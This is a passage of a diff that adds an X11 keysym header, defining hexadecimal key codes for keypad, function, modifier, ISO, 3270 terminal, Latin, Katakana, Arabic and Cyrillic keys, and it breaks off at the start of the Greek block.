+#define XK_KP_End 0xFF9C +#define XK_KP_Begin 0xFF9D +#define XK_KP_Insert 0xFF9E +#define XK_KP_Delete 0xFF9F +#define XK_KP_Equal 0xFFBD /* equals */ +#define XK_KP_Multiply 0xFFAA +#define XK_KP_Add 0xFFAB +#define XK_KP_Separator 0xFFAC /* separator, often comma */ +#define XK_KP_Subtract 0xFFAD +#define XK_KP_Decimal 0xFFAE +#define XK_KP_Divide 0xFFAF + +#define XK_KP_0 0xFFB0 +#define XK_KP_1 0xFFB1 +#define XK_KP_2 0xFFB2 +#define XK_KP_3 0xFFB3 +#define XK_KP_4 0xFFB4 +#define XK_KP_5 0xFFB5 +#define XK_KP_6 0xFFB6 +#define XK_KP_7 0xFFB7 +#define XK_KP_8 0xFFB8 +#define XK_KP_9 0xFFB9 + + + +/* + * Auxiliary Functions; note the duplicate definitions for left and right + * function keys; Sun keyboards and a few other manufactures have such + * function key groups on the left and/or right sides of the keyboard. + * We've not found a keyboard with more than 35 function keys total. + */ + +#define XK_F1 0xFFBE +#define XK_F2 0xFFBF +#define XK_F3 0xFFC0 +#define XK_F4 0xFFC1 +#define XK_F5 0xFFC2 +#define XK_F6 0xFFC3 +#define XK_F7 0xFFC4 +#define XK_F8 0xFFC5 +#define XK_F9 0xFFC6 +#define XK_F10 0xFFC7 +#define XK_F11 0xFFC8 +#define XK_L1 0xFFC8 +#define XK_F12 0xFFC9 +#define XK_L2 0xFFC9 +#define XK_F13 0xFFCA +#define XK_L3 0xFFCA +#define XK_F14 0xFFCB +#define XK_L4 0xFFCB +#define XK_F15 0xFFCC +#define XK_L5 0xFFCC +#define XK_F16 0xFFCD +#define XK_L6 0xFFCD +#define XK_F17 0xFFCE +#define XK_L7 0xFFCE +#define XK_F18 0xFFCF +#define XK_L8 0xFFCF +#define XK_F19 0xFFD0 +#define XK_L9 0xFFD0 +#define XK_F20 0xFFD1 +#define XK_L10 0xFFD1 +#define XK_F21 0xFFD2 +#define XK_R1 0xFFD2 +#define XK_F22 0xFFD3 +#define XK_R2 0xFFD3 +#define XK_F23 0xFFD4 +#define XK_R3 0xFFD4 +#define XK_F24 0xFFD5 +#define XK_R4 0xFFD5 +#define XK_F25 0xFFD6 +#define XK_R5 0xFFD6 +#define XK_F26 0xFFD7 +#define XK_R6 0xFFD7 +#define XK_F27 0xFFD8 +#define XK_R7 0xFFD8 +#define XK_F28 0xFFD9 +#define XK_R8 0xFFD9 +#define XK_F29 0xFFDA +#define XK_R9 0xFFDA +#define XK_F30 0xFFDB +#define XK_R10 0xFFDB +#define XK_F31 0xFFDC +#define XK_R11 0xFFDC +#define XK_F32 0xFFDD +#define XK_R12 0xFFDD +#define XK_F33 0xFFDE +#define XK_R13 0xFFDE +#define XK_F34 0xFFDF +#define XK_R14 0xFFDF +#define XK_F35 0xFFE0 +#define XK_R15 0xFFE0 + +/* Modifiers */ + +#define XK_Shift_L 0xFFE1 /* Left shift */ +#define XK_Shift_R 0xFFE2 /* Right shift */ +#define XK_Control_L 0xFFE3 /* Left control */ +#define XK_Control_R 0xFFE4 /* Right control */ +#define XK_Caps_Lock 0xFFE5 /* Caps lock */ +#define XK_Shift_Lock 0xFFE6 /* Shift lock */ + +#define XK_Meta_L 0xFFE7 /* Left meta */ +#define XK_Meta_R 0xFFE8 /* Right meta */ +#define XK_Alt_L 0xFFE9 /* Left alt */ +#define XK_Alt_R 0xFFEA /* Right alt */ +#define XK_Super_L 0xFFEB /* Left super */ +#define XK_Super_R 0xFFEC /* Right super */ +#define XK_Hyper_L 0xFFED /* Left hyper */ +#define XK_Hyper_R 0xFFEE /* Right hyper */ +#endif /* XK_MISCELLANY */ + +/* + * ISO 9995 Function and Modifier Keys + * Byte 3 = 0xFE + */ + +#ifdef XK_XKB_KEYS +#define XK_ISO_Lock 0xFE01 +#define XK_ISO_Level2_Latch 0xFE02 +#define XK_ISO_Level3_Shift 0xFE03 +#define XK_ISO_Level3_Latch 0xFE04 +#define XK_ISO_Level3_Lock 0xFE05 +#define XK_ISO_Group_Shift 0xFF7E /* Alias for mode_switch */ +#define XK_ISO_Group_Latch 0xFE06 +#define XK_ISO_Group_Lock 0xFE07 +#define XK_ISO_Next_Group 0xFE08 +#define XK_ISO_Next_Group_Lock 0xFE09 +#define XK_ISO_Prev_Group 0xFE0A +#define XK_ISO_Prev_Group_Lock 0xFE0B +#define XK_ISO_First_Group 0xFE0C +#define XK_ISO_First_Group_Lock 0xFE0D +#define XK_ISO_Last_Group 0xFE0E +#define XK_ISO_Last_Group_Lock 0xFE0F + +#define XK_ISO_Left_Tab 0xFE20 +#define XK_ISO_Move_Line_Up 0xFE21 +#define XK_ISO_Move_Line_Down 0xFE22 +#define XK_ISO_Partial_Line_Up 0xFE23 +#define XK_ISO_Partial_Line_Down 0xFE24 +#define XK_ISO_Partial_Space_Left 0xFE25 +#define XK_ISO_Partial_Space_Right 0xFE26 +#define XK_ISO_Set_Margin_Left 0xFE27 +#define XK_ISO_Set_Margin_Right 0xFE28 +#define XK_ISO_Release_Margin_Left 0xFE29 +#define XK_ISO_Release_Margin_Right 0xFE2A +#define XK_ISO_Release_Both_Margins 0xFE2B +#define XK_ISO_Fast_Cursor_Left 0xFE2C +#define XK_ISO_Fast_Cursor_Right 0xFE2D +#define XK_ISO_Fast_Cursor_Up 0xFE2E +#define XK_ISO_Fast_Cursor_Down 0xFE2F +#define XK_ISO_Continuous_Underline 0xFE30 +#define XK_ISO_Discontinuous_Underline 0xFE31 +#define XK_ISO_Emphasize 0xFE32 +#define XK_ISO_Center_Object 0xFE33 +#define XK_ISO_Enter 0xFE34 + +#define XK_dead_grave 0xFE50 +#define XK_dead_acute 0xFE51 +#define XK_dead_circumflex 0xFE52 +#define XK_dead_tilde 0xFE53 +#define XK_dead_macron 0xFE54 +#define XK_dead_breve 0xFE55 +#define XK_dead_abovedot 0xFE56 +#define XK_dead_diaeresis 0xFE57 +#define XK_dead_abovering 0xFE58 +#define XK_dead_doubleacute 0xFE59 +#define XK_dead_caron 0xFE5A +#define XK_dead_cedilla 0xFE5B +#define XK_dead_ogonek 0xFE5C +#define XK_dead_iota 0xFE5D +#define XK_dead_voiced_sound 0xFE5E +#define XK_dead_semivoiced_sound 0xFE5F +#define XK_dead_belowdot 0xFE60 + +#define XK_First_Virtual_Screen 0xFED0 +#define XK_Prev_Virtual_Screen 0xFED1 +#define XK_Next_Virtual_Screen 0xFED2 +#define XK_Last_Virtual_Screen 0xFED4 +#define XK_Terminate_Server 0xFED5 + +#define XK_AccessX_Enable 0xFE70 +#define XK_AccessX_Feedback_Enable 0xFE71 +#define XK_RepeatKeys_Enable 0xFE72 +#define XK_SlowKeys_Enable 0xFE73 +#define XK_BounceKeys_Enable 0xFE74 +#define XK_StickyKeys_Enable 0xFE75 +#define XK_MouseKeys_Enable 0xFE76 +#define XK_MouseKeys_Accel_Enable 0xFE77 +#define XK_Overlay1_Enable 0xFE78 +#define XK_Overlay2_Enable 0xFE79 +#define XK_AudibleBell_Enable 0xFE7A + +#define XK_Pointer_Left 0xFEE0 +#define XK_Pointer_Right 0xFEE1 +#define XK_Pointer_Up 0xFEE2 +#define XK_Pointer_Down 0xFEE3 +#define XK_Pointer_UpLeft 0xFEE4 +#define XK_Pointer_UpRight 0xFEE5 +#define XK_Pointer_DownLeft 0xFEE6 +#define XK_Pointer_DownRight 0xFEE7 +#define XK_Pointer_Button_Dflt 0xFEE8 +#define XK_Pointer_Button1 0xFEE9 +#define XK_Pointer_Button2 0xFEEA +#define XK_Pointer_Button3 0xFEEB +#define XK_Pointer_Button4 0xFEEC +#define XK_Pointer_Button5 0xFEED +#define XK_Pointer_DblClick_Dflt 0xFEEE +#define XK_Pointer_DblClick1 0xFEEF +#define XK_Pointer_DblClick2 0xFEF0 +#define XK_Pointer_DblClick3 0xFEF1 +#define XK_Pointer_DblClick4 0xFEF2 +#define XK_Pointer_DblClick5 0xFEF3 +#define XK_Pointer_Drag_Dflt 0xFEF4 +#define XK_Pointer_Drag1 0xFEF5 +#define XK_Pointer_Drag2 0xFEF6 +#define XK_Pointer_Drag3 0xFEF7 +#define XK_Pointer_Drag4 0xFEF8 +#define XK_Pointer_Drag5 0xFEFD + +#define XK_Pointer_EnableKeys 0xFEF9 +#define XK_Pointer_Accelerate 0xFEFA +#define XK_Pointer_DfltBtnNext 0xFEFB +#define XK_Pointer_DfltBtnPrev 0xFEFC + +#endif + +/* + * 3270 Terminal Keys + * Byte 3 = 0xFD + */ + +#ifdef XK_3270 +#define XK_3270_Duplicate 0xFD01 +#define XK_3270_FieldMark 0xFD02 +#define XK_3270_Right2 0xFD03 +#define XK_3270_Left2 0xFD04 +#define XK_3270_BackTab 0xFD05 +#define XK_3270_EraseEOF 0xFD06 +#define XK_3270_EraseInput 0xFD07 +#define XK_3270_Reset 0xFD08 +#define XK_3270_Quit 0xFD09 +#define XK_3270_PA1 0xFD0A +#define XK_3270_PA2 0xFD0B +#define XK_3270_PA3 0xFD0C +#define XK_3270_Test 0xFD0D +#define XK_3270_Attn 0xFD0E +#define XK_3270_CursorBlink 0xFD0F +#define XK_3270_AltCursor 0xFD10 +#define XK_3270_KeyClick 0xFD11 +#define XK_3270_Jump 0xFD12 +#define XK_3270_Ident 0xFD13 +#define XK_3270_Rule 0xFD14 +#define XK_3270_Copy 0xFD15 +#define XK_3270_Play 0xFD16 +#define XK_3270_Setup 0xFD17 +#define XK_3270_Record 0xFD18 +#define XK_3270_ChangeScreen 0xFD19 +#define XK_3270_DeleteWord 0xFD1A +#define XK_3270_ExSelect 0xFD1B +#define XK_3270_CursorSelect 0xFD1C +#define XK_3270_PrintScreen 0xFD1D +#define XK_3270_Enter 0xFD1E +#endif + +/* + * Latin 1 + * Byte 3 = 0 + */ +#ifdef XK_LATIN1 +#define XK_space 0x020 +#define XK_exclam 0x021 +#define XK_quotedbl 0x022 +#define XK_numbersign 0x023 +#define XK_dollar 0x024 +#define XK_percent 0x025 +#define XK_ampersand 0x026 +#define XK_apostrophe 0x027 +#define XK_quoteright 0x027 /* deprecated */ +#define XK_parenleft 0x028 +#define XK_parenright 0x029 +#define XK_asterisk 0x02a +#define XK_plus 0x02b +#define XK_comma 0x02c +#define XK_minus 0x02d +#define XK_period 0x02e +#define XK_slash 0x02f +#define XK_0 0x030 +#define XK_1 0x031 +#define XK_2 0x032 +#define XK_3 0x033 +#define XK_4 0x034 +#define XK_5 0x035 +#define XK_6 0x036 +#define XK_7 0x037 +#define XK_8 0x038 +#define XK_9 0x039 +#define XK_colon 0x03a +#define XK_semicolon 0x03b +#define XK_less 0x03c +#define XK_equal 0x03d +#define XK_greater 0x03e +#define XK_question 0x03f +#define XK_at 0x040 +#define XK_A 0x041 +#define XK_B 0x042 +#define XK_C 0x043 +#define XK_D 0x044 +#define XK_E 0x045 +#define XK_F 0x046 +#define XK_G 0x047 +#define XK_H 0x048 +#define XK_I 0x049 +#define XK_J 0x04a +#define XK_K 0x04b +#define XK_L 0x04c +#define XK_M 0x04d +#define XK_N 0x04e +#define XK_O 0x04f +#define XK_P 0x050 +#define XK_Q 0x051 +#define XK_R 0x052 +#define XK_S 0x053 +#define XK_T 0x054 +#define XK_U 0x055 +#define XK_V 0x056 +#define XK_W 0x057 +#define XK_X 0x058 +#define XK_Y 0x059 +#define XK_Z 0x05a +#define XK_bracketleft 0x05b +#define XK_backslash 0x05c +#define XK_bracketright 0x05d +#define XK_asciicircum 0x05e +#define XK_underscore 0x05f +#define XK_grave 0x060 +#define XK_quoteleft 0x060 /* deprecated */ +#define XK_a 0x061 +#define XK_b 0x062 +#define XK_c 0x063 +#define XK_d 0x064 +#define XK_e 0x065 +#define XK_f 0x066 +#define XK_g 0x067 +#define XK_h 0x068 +#define XK_i 0x069 +#define XK_j 0x06a +#define XK_k 0x06b +#define XK_l 0x06c +#define XK_m 0x06d +#define XK_n 0x06e +#define XK_o 0x06f +#define XK_p 0x070 +#define XK_q 0x071 +#define XK_r 0x072 +#define XK_s 0x073 +#define XK_t 0x074 +#define XK_u 0x075 +#define XK_v 0x076 +#define XK_w 0x077 +#define XK_x 0x078 +#define XK_y 0x079 +#define XK_z 0x07a +#define XK_braceleft 0x07b +#define XK_bar 0x07c +#define XK_braceright 0x07d +#define XK_asciitilde 0x07e + +#define XK_nobreakspace 0x0a0 +#define XK_exclamdown 0x0a1 +#define XK_cent 0x0a2 +#define XK_sterling 0x0a3 +#define XK_currency 0x0a4 +#define XK_yen 0x0a5 +#define XK_brokenbar 0x0a6 +#define XK_section 0x0a7 +#define XK_diaeresis 0x0a8 +#define XK_copyright 0x0a9 +#define XK_ordfeminine 0x0aa +#define XK_guillemotleft 0x0ab /* left angle quotation mark */ +#define XK_notsign 0x0ac +#define XK_hyphen 0x0ad +#define XK_registered 0x0ae +#define XK_macron 0x0af +#define XK_degree 0x0b0 +#define XK_plusminus 0x0b1 +#define XK_twosuperior 0x0b2 +#define XK_threesuperior 0x0b3 +#define XK_acute 0x0b4 +#define XK_mu 0x0b5 +#define XK_paragraph 0x0b6 +#define XK_periodcentered 0x0b7 +#define XK_cedilla 0x0b8 +#define XK_onesuperior 0x0b9 +#define XK_masculine 0x0ba +#define XK_guillemotright 0x0bb /* right angle quotation mark */ +#define XK_onequarter 0x0bc +#define XK_onehalf 0x0bd +#define XK_threequarters 0x0be +#define XK_questiondown 0x0bf +#define XK_Agrave 0x0c0 +#define XK_Aacute 0x0c1 +#define XK_Acircumflex 0x0c2 +#define XK_Atilde 0x0c3 +#define XK_Adiaeresis 0x0c4 +#define XK_Aring 0x0c5 +#define XK_AE 0x0c6 +#define XK_Ccedilla 0x0c7 +#define XK_Egrave 0x0c8 +#define XK_Eacute 0x0c9 +#define XK_Ecircumflex 0x0ca +#define XK_Ediaeresis 0x0cb +#define XK_Igrave 0x0cc +#define XK_Iacute 0x0cd +#define XK_Icircumflex 0x0ce +#define XK_Idiaeresis 0x0cf +#define XK_ETH 0x0d0 +#define XK_Eth 0x0d0 /* deprecated */ +#define XK_Ntilde 0x0d1 +#define XK_Ograve 0x0d2 +#define XK_Oacute 0x0d3 +#define XK_Ocircumflex 0x0d4 +#define XK_Otilde 0x0d5 +#define XK_Odiaeresis 0x0d6 +#define XK_multiply 0x0d7 +#define XK_Ooblique 0x0d8 +#define XK_Ugrave 0x0d9 +#define XK_Uacute 0x0da +#define XK_Ucircumflex 0x0db +#define XK_Udiaeresis 0x0dc +#define XK_Yacute 0x0dd +#define XK_THORN 0x0de +#define XK_Thorn 0x0de /* deprecated */ +#define XK_ssharp 0x0df +#define XK_agrave 0x0e0 +#define XK_aacute 0x0e1 +#define XK_acircumflex 0x0e2 +#define XK_atilde 0x0e3 +#define XK_adiaeresis 0x0e4 +#define XK_aring 0x0e5 +#define XK_ae 0x0e6 +#define XK_ccedilla 0x0e7 +#define XK_egrave 0x0e8 +#define XK_eacute 0x0e9 +#define XK_ecircumflex 0x0ea +#define XK_ediaeresis 0x0eb +#define XK_igrave 0x0ec +#define XK_iacute 0x0ed +#define XK_icircumflex 0x0ee +#define XK_idiaeresis 0x0ef +#define XK_eth 0x0f0 +#define XK_ntilde 0x0f1 +#define XK_ograve 0x0f2 +#define XK_oacute 0x0f3 +#define XK_ocircumflex 0x0f4 +#define XK_otilde 0x0f5 +#define XK_odiaeresis 0x0f6 +#define XK_division 0x0f7 +#define XK_oslash 0x0f8 +#define XK_ugrave 0x0f9 +#define XK_uacute 0x0fa +#define XK_ucircumflex 0x0fb +#define XK_udiaeresis 0x0fc +#define XK_yacute 0x0fd +#define XK_thorn 0x0fe +#define XK_ydiaeresis 0x0ff +#endif /* XK_LATIN1 */ + +/* + * Latin 2 + * Byte 3 = 1 + */ + +#ifdef XK_LATIN2 +#define XK_Aogonek 0x1a1 +#define XK_breve 0x1a2 +#define XK_Lstroke 0x1a3 +#define XK_Lcaron 0x1a5 +#define XK_Sacute 0x1a6 +#define XK_Scaron 0x1a9 +#define XK_Scedilla 0x1aa +#define XK_Tcaron 0x1ab +#define XK_Zacute 0x1ac +#define XK_Zcaron 0x1ae +#define XK_Zabovedot 0x1af +#define XK_aogonek 0x1b1 +#define XK_ogonek 0x1b2 +#define XK_lstroke 0x1b3 +#define XK_lcaron 0x1b5 +#define XK_sacute 0x1b6 +#define XK_caron 0x1b7 +#define XK_scaron 0x1b9 +#define XK_scedilla 0x1ba +#define XK_tcaron 0x1bb +#define XK_zacute 0x1bc +#define XK_doubleacute 0x1bd +#define XK_zcaron 0x1be +#define XK_zabovedot 0x1bf +#define XK_Racute 0x1c0 +#define XK_Abreve 0x1c3 +#define XK_Lacute 0x1c5 +#define XK_Cacute 0x1c6 +#define XK_Ccaron 0x1c8 +#define XK_Eogonek 0x1ca +#define XK_Ecaron 0x1cc +#define XK_Dcaron 0x1cf +#define XK_Dstroke 0x1d0 +#define XK_Nacute 0x1d1 +#define XK_Ncaron 0x1d2 +#define XK_Odoubleacute 0x1d5 +#define XK_Rcaron 0x1d8 +#define XK_Uring 0x1d9 +#define XK_Udoubleacute 0x1db +#define XK_Tcedilla 0x1de +#define XK_racute 0x1e0 +#define XK_abreve 0x1e3 +#define XK_lacute 0x1e5 +#define XK_cacute 0x1e6 +#define XK_ccaron 0x1e8 +#define XK_eogonek 0x1ea +#define XK_ecaron 0x1ec +#define XK_dcaron 0x1ef +#define XK_dstroke 0x1f0 +#define XK_nacute 0x1f1 +#define XK_ncaron 0x1f2 +#define XK_odoubleacute 0x1f5 +#define XK_udoubleacute 0x1fb +#define XK_rcaron 0x1f8 +#define XK_uring 0x1f9 +#define XK_tcedilla 0x1fe +#define XK_abovedot 0x1ff +#endif /* XK_LATIN2 */ + +/* + * Latin 3 + * Byte 3 = 2 + */ + +#ifdef XK_LATIN3 +#define XK_Hstroke 0x2a1 +#define XK_Hcircumflex 0x2a6 +#define XK_Iabovedot 0x2a9 +#define XK_Gbreve 0x2ab +#define XK_Jcircumflex 0x2ac +#define XK_hstroke 0x2b1 +#define XK_hcircumflex 0x2b6 +#define XK_idotless 0x2b9 +#define XK_gbreve 0x2bb +#define XK_jcircumflex 0x2bc +#define XK_Cabovedot 0x2c5 +#define XK_Ccircumflex 0x2c6 +#define XK_Gabovedot 0x2d5 +#define XK_Gcircumflex 0x2d8 +#define XK_Ubreve 0x2dd +#define XK_Scircumflex 0x2de +#define XK_cabovedot 0x2e5 +#define XK_ccircumflex 0x2e6 +#define XK_gabovedot 0x2f5 +#define XK_gcircumflex 0x2f8 +#define XK_ubreve 0x2fd +#define XK_scircumflex 0x2fe +#endif /* XK_LATIN3 */ + + +/* + * Latin 4 + * Byte 3 = 3 + */ + +#ifdef XK_LATIN4 +#define XK_kra 0x3a2 +#define XK_kappa 0x3a2 /* deprecated */ +#define XK_Rcedilla 0x3a3 +#define XK_Itilde 0x3a5 +#define XK_Lcedilla 0x3a6 +#define XK_Emacron 0x3aa +#define XK_Gcedilla 0x3ab +#define XK_Tslash 0x3ac +#define XK_rcedilla 0x3b3 +#define XK_itilde 0x3b5 +#define XK_lcedilla 0x3b6 +#define XK_emacron 0x3ba +#define XK_gcedilla 0x3bb +#define XK_tslash 0x3bc +#define XK_ENG 0x3bd +#define XK_eng 0x3bf +#define XK_Amacron 0x3c0 +#define XK_Iogonek 0x3c7 +#define XK_Eabovedot 0x3cc +#define XK_Imacron 0x3cf +#define XK_Ncedilla 0x3d1 +#define XK_Omacron 0x3d2 +#define XK_Kcedilla 0x3d3 +#define XK_Uogonek 0x3d9 +#define XK_Utilde 0x3dd +#define XK_Umacron 0x3de +#define XK_amacron 0x3e0 +#define XK_iogonek 0x3e7 +#define XK_eabovedot 0x3ec +#define XK_imacron 0x3ef +#define XK_ncedilla 0x3f1 +#define XK_omacron 0x3f2 +#define XK_kcedilla 0x3f3 +#define XK_uogonek 0x3f9 +#define XK_utilde 0x3fd +#define XK_umacron 0x3fe +#endif /* XK_LATIN4 */ + +/* + * Katakana + * Byte 3 = 4 + */ + +#ifdef XK_KATAKANA +#define XK_overline 0x47e +#define XK_kana_fullstop 0x4a1 +#define XK_kana_openingbracket 0x4a2 +#define XK_kana_closingbracket 0x4a3 +#define XK_kana_comma 0x4a4 +#define XK_kana_conjunctive 0x4a5 +#define XK_kana_middledot 0x4a5 /* deprecated */ +#define XK_kana_WO 0x4a6 +#define XK_kana_a 0x4a7 +#define XK_kana_i 0x4a8 +#define XK_kana_u 0x4a9 +#define XK_kana_e 0x4aa +#define XK_kana_o 0x4ab +#define XK_kana_ya 0x4ac +#define XK_kana_yu 0x4ad +#define XK_kana_yo 0x4ae +#define XK_kana_tsu 0x4af +#define XK_kana_tu 0x4af /* deprecated */ +#define XK_prolongedsound 0x4b0 +#define XK_kana_A 0x4b1 +#define XK_kana_I 0x4b2 +#define XK_kana_U 0x4b3 +#define XK_kana_E 0x4b4 +#define XK_kana_O 0x4b5 +#define XK_kana_KA 0x4b6 +#define XK_kana_KI 0x4b7 +#define XK_kana_KU 0x4b8 +#define XK_kana_KE 0x4b9 +#define XK_kana_KO 0x4ba +#define XK_kana_SA 0x4bb +#define XK_kana_SHI 0x4bc +#define XK_kana_SU 0x4bd +#define XK_kana_SE 0x4be +#define XK_kana_SO 0x4bf +#define XK_kana_TA 0x4c0 +#define XK_kana_CHI 0x4c1 +#define XK_kana_TI 0x4c1 /* deprecated */ +#define XK_kana_TSU 0x4c2 +#define XK_kana_TU 0x4c2 /* deprecated */ +#define XK_kana_TE 0x4c3 +#define XK_kana_TO 0x4c4 +#define XK_kana_NA 0x4c5 +#define XK_kana_NI 0x4c6 +#define XK_kana_NU 0x4c7 +#define XK_kana_NE 0x4c8 +#define XK_kana_NO 0x4c9 +#define XK_kana_HA 0x4ca +#define XK_kana_HI 0x4cb +#define XK_kana_FU 0x4cc +#define XK_kana_HU 0x4cc /* deprecated */ +#define XK_kana_HE 0x4cd +#define XK_kana_HO 0x4ce +#define XK_kana_MA 0x4cf +#define XK_kana_MI 0x4d0 +#define XK_kana_MU 0x4d1 +#define XK_kana_ME 0x4d2 +#define XK_kana_MO 0x4d3 +#define XK_kana_YA 0x4d4 +#define XK_kana_YU 0x4d5 +#define XK_kana_YO 0x4d6 +#define XK_kana_RA 0x4d7 +#define XK_kana_RI 0x4d8 +#define XK_kana_RU 0x4d9 +#define XK_kana_RE 0x4da +#define XK_kana_RO 0x4db +#define XK_kana_WA 0x4dc +#define XK_kana_N 0x4dd +#define XK_voicedsound 0x4de +#define XK_semivoicedsound 0x4df +#define XK_kana_switch 0xFF7E /* Alias for mode_switch */ +#endif /* XK_KATAKANA */ + +/* + * Arabic + * Byte 3 = 5 + */ + +#ifdef XK_ARABIC +#define XK_Arabic_comma 0x5ac +#define XK_Arabic_semicolon 0x5bb +#define XK_Arabic_question_mark 0x5bf +#define XK_Arabic_hamza 0x5c1 +#define XK_Arabic_maddaonalef 0x5c2 +#define XK_Arabic_hamzaonalef 0x5c3 +#define XK_Arabic_hamzaonwaw 0x5c4 +#define XK_Arabic_hamzaunderalef 0x5c5 +#define XK_Arabic_hamzaonyeh 0x5c6 +#define XK_Arabic_alef 0x5c7 +#define XK_Arabic_beh 0x5c8 +#define XK_Arabic_tehmarbuta 0x5c9 +#define XK_Arabic_teh 0x5ca +#define XK_Arabic_theh 0x5cb +#define XK_Arabic_jeem 0x5cc +#define XK_Arabic_hah 0x5cd +#define XK_Arabic_khah 0x5ce +#define XK_Arabic_dal 0x5cf +#define XK_Arabic_thal 0x5d0 +#define XK_Arabic_ra 0x5d1 +#define XK_Arabic_zain 0x5d2 +#define XK_Arabic_seen 0x5d3 +#define XK_Arabic_sheen 0x5d4 +#define XK_Arabic_sad 0x5d5 +#define XK_Arabic_dad 0x5d6 +#define XK_Arabic_tah 0x5d7 +#define XK_Arabic_zah 0x5d8 +#define XK_Arabic_ain 0x5d9 +#define XK_Arabic_ghain 0x5da +#define XK_Arabic_tatweel 0x5e0 +#define XK_Arabic_feh 0x5e1 +#define XK_Arabic_qaf 0x5e2 +#define XK_Arabic_kaf 0x5e3 +#define XK_Arabic_lam 0x5e4 +#define XK_Arabic_meem 0x5e5 +#define XK_Arabic_noon 0x5e6 +#define XK_Arabic_ha 0x5e7 +#define XK_Arabic_heh 0x5e7 /* deprecated */ +#define XK_Arabic_waw 0x5e8 +#define XK_Arabic_alefmaksura 0x5e9 +#define XK_Arabic_yeh 0x5ea +#define XK_Arabic_fathatan 0x5eb +#define XK_Arabic_dammatan 0x5ec +#define XK_Arabic_kasratan 0x5ed +#define XK_Arabic_fatha 0x5ee +#define XK_Arabic_damma 0x5ef +#define XK_Arabic_kasra 0x5f0 +#define XK_Arabic_shadda 0x5f1 +#define XK_Arabic_sukun 0x5f2 +#define XK_Arabic_switch 0xFF7E /* Alias for mode_switch */ +#endif /* XK_ARABIC */ + +/* + * Cyrillic + * Byte 3 = 6 + */ +#ifdef XK_CYRILLIC +#define XK_Serbian_dje 0x6a1 +#define XK_Macedonia_gje 0x6a2 +#define XK_Cyrillic_io 0x6a3 +#define XK_Ukrainian_ie 0x6a4 +#define XK_Ukranian_je 0x6a4 /* deprecated */ +#define XK_Macedonia_dse 0x6a5 +#define XK_Ukrainian_i 0x6a6 +#define XK_Ukranian_i 0x6a6 /* deprecated */ +#define XK_Ukrainian_yi 0x6a7 +#define XK_Ukranian_yi 0x6a7 /* deprecated */ +#define XK_Cyrillic_je 0x6a8 +#define XK_Serbian_je 0x6a8 /* deprecated */ +#define XK_Cyrillic_lje 0x6a9 +#define XK_Serbian_lje 0x6a9 /* deprecated */ +#define XK_Cyrillic_nje 0x6aa +#define XK_Serbian_nje 0x6aa /* deprecated */ +#define XK_Serbian_tshe 0x6ab +#define XK_Macedonia_kje 0x6ac +#define XK_Byelorussian_shortu 0x6ae +#define XK_Cyrillic_dzhe 0x6af +#define XK_Serbian_dze 0x6af /* deprecated */ +#define XK_numerosign 0x6b0 +#define XK_Serbian_DJE 0x6b1 +#define XK_Macedonia_GJE 0x6b2 +#define XK_Cyrillic_IO 0x6b3 +#define XK_Ukrainian_IE 0x6b4 +#define XK_Ukranian_JE 0x6b4 /* deprecated */ +#define XK_Macedonia_DSE 0x6b5 +#define XK_Ukrainian_I 0x6b6 +#define XK_Ukranian_I 0x6b6 /* deprecated */ +#define XK_Ukrainian_YI 0x6b7 +#define XK_Ukranian_YI 0x6b7 /* deprecated */ +#define XK_Cyrillic_JE 0x6b8 +#define XK_Serbian_JE 0x6b8 /* deprecated */ +#define XK_Cyrillic_LJE 0x6b9 +#define XK_Serbian_LJE 0x6b9 /* deprecated */ +#define XK_Cyrillic_NJE 0x6ba +#define XK_Serbian_NJE 0x6ba /* deprecated */ +#define XK_Serbian_TSHE 0x6bb +#define XK_Macedonia_KJE 0x6bc +#define XK_Byelorussian_SHORTU 0x6be +#define XK_Cyrillic_DZHE 0x6bf +#define XK_Serbian_DZE 0x6bf /* deprecated */ +#define XK_Cyrillic_yu 0x6c0 +#define XK_Cyrillic_a 0x6c1 +#define XK_Cyrillic_be 0x6c2 +#define XK_Cyrillic_tse 0x6c3 +#define XK_Cyrillic_de 0x6c4 +#define XK_Cyrillic_ie 0x6c5 +#define XK_Cyrillic_ef 0x6c6 +#define XK_Cyrillic_ghe 0x6c7 +#define XK_Cyrillic_ha 0x6c8 +#define XK_Cyrillic_i 0x6c9 +#define XK_Cyrillic_shorti 0x6ca +#define XK_Cyrillic_ka 0x6cb +#define XK_Cyrillic_el 0x6cc +#define XK_Cyrillic_em 0x6cd +#define XK_Cyrillic_en 0x6ce +#define XK_Cyrillic_o 0x6cf +#define XK_Cyrillic_pe 0x6d0 +#define XK_Cyrillic_ya 0x6d1 +#define XK_Cyrillic_er 0x6d2 +#define XK_Cyrillic_es 0x6d3 +#define XK_Cyrillic_te 0x6d4 +#define XK_Cyrillic_u 0x6d5 +#define XK_Cyrillic_zhe 0x6d6 +#define XK_Cyrillic_ve 0x6d7 +#define XK_Cyrillic_softsign 0x6d8 +#define XK_Cyrillic_yeru 0x6d9 +#define XK_Cyrillic_ze 0x6da +#define XK_Cyrillic_sha 0x6db +#define XK_Cyrillic_e 0x6dc +#define XK_Cyrillic_shcha 0x6dd +#define XK_Cyrillic_che 0x6de +#define XK_Cyrillic_hardsign 0x6df +#define XK_Cyrillic_YU 0x6e0 +#define XK_Cyrillic_A 0x6e1 +#define XK_Cyrillic_BE 0x6e2 +#define XK_Cyrillic_TSE 0x6e3 +#define XK_Cyrillic_DE 0x6e4 +#define XK_Cyrillic_IE 0x6e5 +#define XK_Cyrillic_EF 0x6e6 +#define XK_Cyrillic_GHE 0x6e7 +#define XK_Cyrillic_HA 0x6e8 +#define XK_Cyrillic_I 0x6e9 +#define XK_Cyrillic_SHORTI 0x6ea +#define XK_Cyrillic_KA 0x6eb +#define XK_Cyrillic_EL 0x6ec +#define XK_Cyrillic_EM 0x6ed +#define XK_Cyrillic_EN 0x6ee +#define XK_Cyrillic_O 0x6ef +#define XK_Cyrillic_PE 0x6f0 +#define XK_Cyrillic_YA 0x6f1 +#define XK_Cyrillic_ER 0x6f2 +#define XK_Cyrillic_ES 0x6f3 +#define XK_Cyrillic_TE 0x6f4 +#define XK_Cyrillic_U 0x6f5 +#define XK_Cyrillic_ZHE 0x6f6 +#define XK_Cyrillic_VE 0x6f7 +#define XK_Cyrillic_SOFTSIGN 0x6f8 +#define XK_Cyrillic_YERU 0x6f9 +#define XK_Cyrillic_ZE 0x6fa +#define XK_Cyrillic_SHA 0x6fb +#define XK_Cyrillic_E 0x6fc +#define XK_Cyrillic_SHCHA 0x6fd +#define XK_Cyrillic_CHE 0x6fe +#define XK_Cyrillic_HARDSIGN 0x6ff +#endif /* XK_CYRILLIC */ + +/* + * Greek + * Byte 3 = 7 + */ + +#ifdef XK_GREEK +#define 